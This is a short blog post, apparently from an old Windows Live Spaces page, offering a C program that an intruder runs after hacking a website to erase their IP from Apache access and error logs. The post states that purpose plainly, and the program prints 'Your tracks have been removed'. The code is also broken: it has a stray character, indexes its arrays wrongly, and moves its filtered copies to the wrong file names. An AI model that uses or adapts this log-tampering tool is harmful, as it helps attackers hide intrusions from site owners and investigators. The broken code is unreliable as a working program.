dorainm's profiledorainm's spaceBlogLists Tools Help

Blog


    January 01

    Clear httpd logs

    Hacked one website, the most important thing is removed your tracks.

    here is a example, about how to clear your IP in the web serive's logs.


    -----------------------------clear_ip.c---------------------------------------

    #include "stdio.h"j
    #include "fcntl.h"
    #include "utmp.h"
    #include "sys/types.h"
    #include "unistd.h"
    #include "lastlog.h"
    #include "pwd.h"

    #define HTTPDA "/etc/httpd/logs/access_log"
    #define HTTPDE "/etc/httpd/logs/error_log"
    #define MAXBUFF 8*1024

    int main(int argc, char *argv[])
    {
            int i,size;
            FILE *pfile;
            FILE *pfile2;
            char *varlogs[]={HTTPDA,HTTPDE};
            char *newlogs[]={"httpda.hm","httpde.hm"};
            char buffer[MAXBUFF];

            char host_ip[17];

            /*usage of the program*/
            if(argc!=2)
            {
                    printf("\n\n");
                    fprintf(stderr,"Clear web service log\t\tby dorainm  dorainm@gmail.com\n\n");
                    fprintf(stderr,"usage:\t%s <IP>\n\n",argv[0]);
                    exit(1);
            }

            strcpy(host_ip,argv[1]);
            i=0;

            while(i<2)
            {
                    printf("Processing %s\t",varlogs);
                    pfile=fopen(varlogs,"r");
                    if(!pfile)
                    {
                            printf("Can't open %s\n\n",varlogs);
                            i++;
                            continue;
                    }
                    pfile2=fopen(newlogs,"w");
                    if(!pfile2)
                    {
                            printf("Can't create backup file %s\n\n",newlogs);
                            i++;
                            continue;
                    }
                    else
                    {
                            while(fgets(buffer,MAXBUFF,pfile)!=NULL)
                            {
                                    if(!strstr(buffer,host_ip))
                                    {
                                            fputs(buffer,pfile2);
                                    }
                            }
                    }
                    fclose(pfile);
                    fclose(pfile2);
                    printf("Done\n");
                    i++;
            }
            printf("\n");
            system("mv httpda.hm /etc/httpd/logs");
            system("mv httpde.hm /etc/httpd/logs");
            printf("\n");
            printf("Your tracks have been removed\n\n");
            printf("Exiting program !!\n\n");
            exit(0);
    }

    Comments

    Please wait...
    Sorry, the comment you entered is too long. Please shorten it.
    You didn't enter anything. Please try again.
    Sorry, we can't add your comment right now. Please try again later.
    To add a comment, you need permission from your parent. Ask for permission
    Your parent has turned off comments.
    Sorry, we can't delete your comment right now. Please try again later.
    You've exceeded the maximum number of comments that can be left in one day. Please try again in 24 hours.
    Your account has had the ability to leave comments disabled because our systems indicate that you may be spamming other users. If you believe that your account has been disabled in error please contact Windows Live support.
    Complete the security check below to finish leaving your comment.
    The characters you type in the security check must match the characters in the picture or audio.

    To add a comment, sign in with your Windows Live ID (if you use Hotmail, Messenger, or Xbox LIVE, you have a Windows Live ID). Sign in


    Don't have a Windows Live ID? Sign up

    Trackbacks

    Weblogs that reference this entry
    • None